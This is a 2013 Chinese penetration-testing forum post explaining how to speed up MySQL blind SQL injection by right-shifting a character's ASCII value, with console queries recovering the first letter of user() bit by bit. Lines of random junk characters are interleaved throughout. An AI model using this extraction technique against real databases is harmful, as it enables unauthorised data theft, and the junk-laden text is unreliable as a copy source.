中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
* a) o3 f. x4 G( D
) A4 R! j( N- J2 u e0 Q6 U
) x" k- t5 n& p$ O2 W5 X
& S j$ e0 H# I! M6 `" T9 m
下面将以查询mysql数据库当中user()的第一位为例:
6 S' C. p8 F) d, I9 a& Y6 q
4 H- a+ i9 n% {+ O! x; A# n4 ]
0 \! d- E# F: \; @$ R: \; p
9 m, P3 d( u+ k/ e3 @% o
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
/ I# J( ^/ j6 u4 p; Y( s; ]
7 ]( [& G. T1 W4 V2 g5 ^' s4 y% G
8 G% T' n7 z7 F4 {) O
" u4 k2 z2 Z: `2 W3 L
首先执行如下sql语句:
. F, c9 N* N$ Y! G+ z! v
! e- L! H: s# q) j9 S, X
* B5 L3 G/ f* K4 w6 ]! |- n
2 i& b7 t7 |7 a" A
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 D; B% E7 \( \6 l3 j0 n
r5 _! s- w; } e
1 |& B& ?& I2 Y
, {2 R8 O( R$ R1 t7 x; k/ S
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
2 ]7 m0 ]3 Z" ?. N8 V7 t4 K* C6 L" K; `
- h9 {5 {- I0 U- @8 _
3 |: A. @& J- }- @ P
+ L0 `" s$ x1 Y# _: b
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
5 c. [5 o$ X$ T8 D" ~9 v
5 ~# } u2 K( y+ Q9 F. L: g* K
/ k; ~0 x( {* B" R) z8 m: i
7 O ], m& r2 ?0 ~
如果运算结果为1,说明第一位为0,不为1
- {3 W# b3 X s7 U/ I
' o8 B1 _0 c4 U z
+ I' C( T* M! z. [
. m8 _- q# @- X
+————————————–+
4 L* Y+ o* Q5 ]
- V5 k K8 H+ r# s9 [. i
| (ascii((substr(user(),1,1))) >> 7)=0 |
) V. i5 t) P3 t9 F! V# O
/ \ d) S/ k3 |" J' X# |
+————————————–+
, X; n/ U" @1 m( S& w5 a
' z3 M: o2 ^% X! B! w. L: k$ o
| 1 |
* e+ y; d0 m7 k4 B- M9 q m
; H. @% i" ^7 Q! V( Z' b% c
+————————————–+
" p2 n6 ?; V3 Q+ M6 r; U. ?% |
. X0 h+ B! f: r" ?+ r+ D( p. Z
1 row in set (0.00 sec)
8 K8 q4 w# J7 Y6 \) T
/ m# X- O+ f0 {. a9 P
这样我们就确定这个8bit的ascii的第一位为0
. }; O" R1 e, k( P/ I
# I8 H0 K) h" p: P8 }8 F
$ u) H0 P$ q! ^0 q" b7 ~
* ^# @* J( ]4 s% m
第二次我们来做6次右偏移来确定前两位
" n0 P @7 a% ~" H
; v& W& T @+ ]0 i, G7 m9 {9 l/ S
4 J3 g# K1 q* m; O( Y
3 y% h& C% l' }& J2 a& k
前两位可能是01或00,即依然可以与0做比较,
6 d: _* T0 r( G; Q: L
3 Q) X: o6 g% B5 L
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( d0 @7 w# R8 Y( W' n! I4 o w
: w. s! \6 M0 o3 v* q( C
+————————————–+
; ^4 b, O# x# z: Z$ L% J
) ~4 I+ h+ ^& @6 g
| (ascii((substr(user(),1,1))) >> 6)=0 |
6 j! ~+ v* T1 i& a" |% i0 H& Z7 N
% k, Y; y9 F+ Z5 h M" H
+————————————–+
/ q* [3 p" `+ I! N
$ R% Y k0 y0 Z2 \
| 0 |
- s% l% ]! b3 k% b7 \
& L# ^/ \: [9 Z1 i6 R
+————————————–+
3 _% s c# H$ O& [7 N* K1 u
, L" T" }* t7 S2 J1 D- l
1 row in set (0.00 sec)
$ U1 {* G6 \6 P8 M1 G
' O; P/ ]3 ^+ L% u1 Z+ a
3 y" p0 c8 i* K1 q2 v
/ c2 d" {( t1 H, _4 _8 b' K
结果为0,即第二位为1
, ]( T* N3 h7 \$ E* j( C9 X% V
$ w. S, O6 m4 i) f# g; `
; G7 c, ~# i- N4 U% r0 q; i
8 |% Q, m4 T: r
开始猜测前三位为010或011
K2 F9 H s* _& O' B" u/ S
6 s" e ~9 g; x4 C( V! Y
) U/ Y3 `6 \& ^& z! v" n, b
- `! n3 s- H3 e8 t( I) I |
让我们看看010和011的ascii码是多少
& ?' @ [( E3 {' w( B5 I( Z
4 O1 F$ G1 K, O% L0 }4 v
# {: M! D! x5 j
5 I: T" t( S! y) K' d* h
分别查询select b’011′ select b’010′
0 A ~# H6 l: b6 B4 K/ J' p
1 H0 K4 }& c6 D
/ U1 a9 ^9 g7 ?7 H
2 d! k% M2 [. d+ v! ~6 \
获得结果 010 = 2 011 = 3
! n$ F6 p8 N4 C- Y+ _, p
0 p. C' r4 M; ?# M, _# Y; Y) g
/ ^5 o0 v2 H, x$ E- y$ C5 U$ }- t
# ~' |0 z* U5 n) u F' {: C) y% L
执行如下sql:
6 M/ r) c: _1 A- r
7 t3 Z& l1 v+ q# m2 `3 O+ s
/ c$ e% E4 X: o9 ]2 U; i
) N8 o( R. x% a% Q: W
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 Q" B1 r3 x6 L& ]: W
$ _ Z3 R2 L6 U6 a5 ^' d( g$ e& X
+————————————–+
4 _# K( a& a+ Z( p* J, Q
. s3 F _$ a4 M
| (ascii((substr(user(),1,1))) >> 5)=2 |
: q% ^5 n9 o; P$ c2 S1 ^* g" r
" K: ]8 D$ C. T( a$ l2 y; q' n5 z
+————————————–+
. ]7 p, n0 |8 V* k2 C5 V9 h; E
& @. I# d' S# o. [
| 0 |
$ q4 i" }2 y* K1 N( n9 q
1 y$ W7 }) |$ e7 r
+————————————–+
9 F, f" r6 g1 V, ~* {8 O: D; ?+ [* J
( X4 m$ u8 G8 I9 I& k& }0 g8 g
即前三位不为010,而是011
+ _9 k) F$ M5 p
5 f: ?6 Q$ O8 P& a0 B5 @$ j7 a6 q# E# f& e
- f! e: G8 B: k8 D
5 j& Z- ?/ W6 W: q& z/ |
直到获得最后一位
9 K1 Q* e5 U9 R% b6 x
0 o7 O& `/ f; I' ]. o) V1 b
; v) t; C, a: G( ]7 j1 u, u
: P' m( l, o1 L* E. L2 B2 s
最终结果为:01110010
W1 T5 X/ W' b. u. i8 W
0 ^2 i$ N" q- I s) n/ t
& h0 {" d( V" L" O& L( X4 T C
( g4 |# S& F- T. `2 _, }# J7 D
转换一下:
7 y* a5 \- N8 }: Q
4 X& L5 G- i8 q0 ?4 \
9 b- H: C% J% L4 X! D, P
, e; c5 L9 y7 A/ U' D
select b’01110010′
/ x0 u0 Y1 m5 A$ m+ d( j. j3 B
s; A% m. t# g$ M1 f6 Z9 m
! w& ]8 p( T; h% y
- R& w* L' [, y
查询结果
) h, }& E R; I- @
* }; t, v, R7 o$ K' a
) Q& c. d/ i0 D4 `8 a. B
! |+ w, P" R% K
+————-+
0 _+ S% P0 i- \' ]% u
" R }. O& X3 ~4 L7 B8 F2 ~
| b’01110010′ |
# g% c, z X( m- F+ W( i
5 I# z% t) h6 ]1 f3 G: [
+————-+
+ u; w- G: Z/ f# A' |* D
8 C; u. H. Q0 n. { j
| r |
: F% R# v4 v6 n) A, Y2 r v9 ?+ L3 q
7 w& y& H5 D1 y z# z
+————-+
+ Q+ p; f" c: J$ ~# q a9 y- ]
" A+ _1 t4 H+ x! c
1 row in set (0.00 sec)
5 `/ _" M1 \" K$ }2 l3 {+ G2 u2 R
8 w( A8 a: O X$ A) G( s
, X& P1 @. K, r* y/ K
6 K% H% L$ v1 `+ M& j/ `
这样我们就获得了user()的第一位.其它位依此类推
3 ^7 o( @2 M. U& P- @4 T
9 h( f7 _ h8 k' k% V1 S
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2